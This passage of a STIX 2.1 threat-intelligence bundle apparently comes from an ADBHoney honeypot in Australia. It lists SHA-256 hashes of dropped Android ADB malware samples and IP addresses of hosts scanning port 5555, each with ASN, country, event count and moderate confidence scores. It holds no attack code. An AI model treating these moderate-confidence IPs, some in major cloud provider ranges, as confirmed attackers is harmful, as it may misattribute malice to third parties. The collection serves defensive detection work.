      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '8886793d994d11aad0c9f5c28da16384febde7286b845074a8c13a46251141e3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T06:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/af79d317b27009fc3adc5ee556703e54bb321fd457b37b13c333178834760442.raw; last_seen=2026-04-29T05:29:01.922Z",
      "id": "indicator--74ddf11e-4fdc-45e3-b843-5694b8ed255b",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'af79d317b27009fc3adc5ee556703e54bb321fd457b37b13c333178834760442']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T06:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b54f5f33bc8bdd976e168d33818d368a75164ea7331afb4a35d65fa29dc35c64.raw; last_seen=2026-04-29T05:28:50.903Z",
      "id": "indicator--6d88890d-0dcd-46ea-8249-505d1595ca26",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b54f5f33bc8bdd976e168d33818d368a75164ea7331afb4a35d65fa29dc35c64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T06:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bb87bbb41b1d58f9c476bd25421291028b534bbefb7e4b4018c48c6159794222.raw; last_seen=2026-04-29T05:29:04.255Z",
      "id": "indicator--e825dbd8-7e90-4982-bf46-5594c0d6948f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bb87bbb41b1d58f9c476bd25421291028b534bbefb7e4b4018c48c6159794222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-29T07:46:54.000Z | last_seen=2026-04-29T07:58:28.987Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--a1155fbc-6960-490c-9622-8310691223a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:00:02.000Z",
      "valid_until": "2026-05-31T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-29T07:46:54.000Z",
          "last_seen": "2026-04-29T07:58:28.987Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-29T08:21:51.000Z | last_seen=2026-04-29T08:23:32.032Z | ports=5555 | cc=AU | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d23df8ac-9b84-4bd9-b691-b4a515a28de1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.64.214.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:00:02.000Z",
      "valid_until": "2026-05-31T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-29T08:21:51.000Z",
          "last_seen": "2026-04-29T08:23:32.032Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-29T08:59:12.000Z | last_seen=2026-04-29T09:00:20.641Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd.",
      "id": "indicator--a89eb09c-a984-48cc-955f-ff475f56c34e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.239.126.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:00:02.000Z",
      "valid_until": "2026-05-31T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-29T08:59:12.000Z",
          "last_seen": "2026-04-29T09:00:20.641Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-29T09:22:13.000Z | last_seen=2026-04-29T09:23:20.278Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--aeb4bd7e-61b7-42fd-93eb-2dfa8cbdd503",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:00:02.000Z",
      "valid_until": "2026-05-31T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-29T09:22:13.000Z",
          "last_seen": "2026-04-29T09:23:20.278Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-29T14:31:52.000Z | last_seen=2026-04-29T14:33:33.913Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--547b3dee-9023-4bd4-9477-6e09fb7d9985",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.70.251.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:00:02.000Z",
      "valid_until": "2026-05-31T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-29T14:31:52.000Z",
          "last_seen": "2026-04-29T14:33:33.913Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-29T14:15:33.000Z | last_seen=2026-04-30T19:23:11.297Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--1f7aa692-feb8-441d-94d0-4eda93b8ec5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.171.169.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:00:02.000Z",
      "valid_until": "2026-05-31T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-29T14:15:33.000Z",
          "last_seen": "2026-04-30T19:23:11.297Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-29T14:30:07.000Z | last_seen=2026-04-29T14:31:09.598Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--70be63ff-4bcd-45a6-9a92-d005acaccec1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:00:02.000Z",
      "valid_until": "2026-05-31T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-29T14:30:07.000Z",
          "last_seen": "2026-04-29T14:31:09.598Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T15:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3.raw; last_seen=2026-04-29T14:56:01.598Z",
      "id": "indicator--9381c8af-a108-4aa0-aa8d-5b7683bb90a8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-29T15:46:41.000Z | last_seen=2026-04-29T15:47:46.280Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4d6cc69a-e538-437f-8249-950e75e90002",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.207.253.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:00:02.000Z",
      "valid_until": "2026-05-31T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-29T15:46:41.000Z",
          "last_seen": "2026-04-29T15:47:46.280Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-29T16:23:54.000Z | last_seen=2026-04-29T16:25:03.923Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6111d365-1f0c-40f2-8196-13cb27eece2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.198.178.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:00:02.000Z",
      "valid_until": "2026-05-31T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-29T16:23:54.000Z",
          "last_seen": "2026-04-29T16:25:03.923Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=PL; asn=202520; asn_org=SkyPass Solutions Sp. z.o.o.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-29T19:50:32.000Z | last_seen=2026-04-29T19:56:48.598Z | ports=5555 | cc=PL | asn=202520 | org=SkyPass Solutions Sp. z.o.o.",
      "id": "indicator--3fa6920c-983f-47c1-9424-26bfe342bdb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '83.168.69.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:00:02.000Z",
      "valid_until": "2026-05-31T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-29T19:50:32.000Z",
          "last_seen": "2026-04-29T19:56:48.598Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "202520"
          ],
          "org": [
            "SkyPass Solutions Sp. z.o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-29T21:32:32.000Z | last_seen=2026-04-29T21:33:43.024Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:00:02.000Z",
      "valid_until": "2026-05-31T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-29T21:32:32.000Z",
          "last_seen": "2026-04-29T21:33:43.024Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-29T21:33:57.000Z | last_seen=2026-04-29T21:44:08.086Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--c2b3a7c6-fd16-4e88-9757-8007df60d118",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:00:02.000Z",
      "valid_until": "2026-05-31T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-29T21:33:57.000Z",
          "last_seen": "2026-04-29T21:44:08.086Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-29T21:08:10.000Z | last_seen=2026-04-30T12:35:04.484Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--993282f7-93c5-468d-8af7-cb70c27acf0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.154.35.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:00:02.000Z",
      "valid_until": "2026-05-31T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
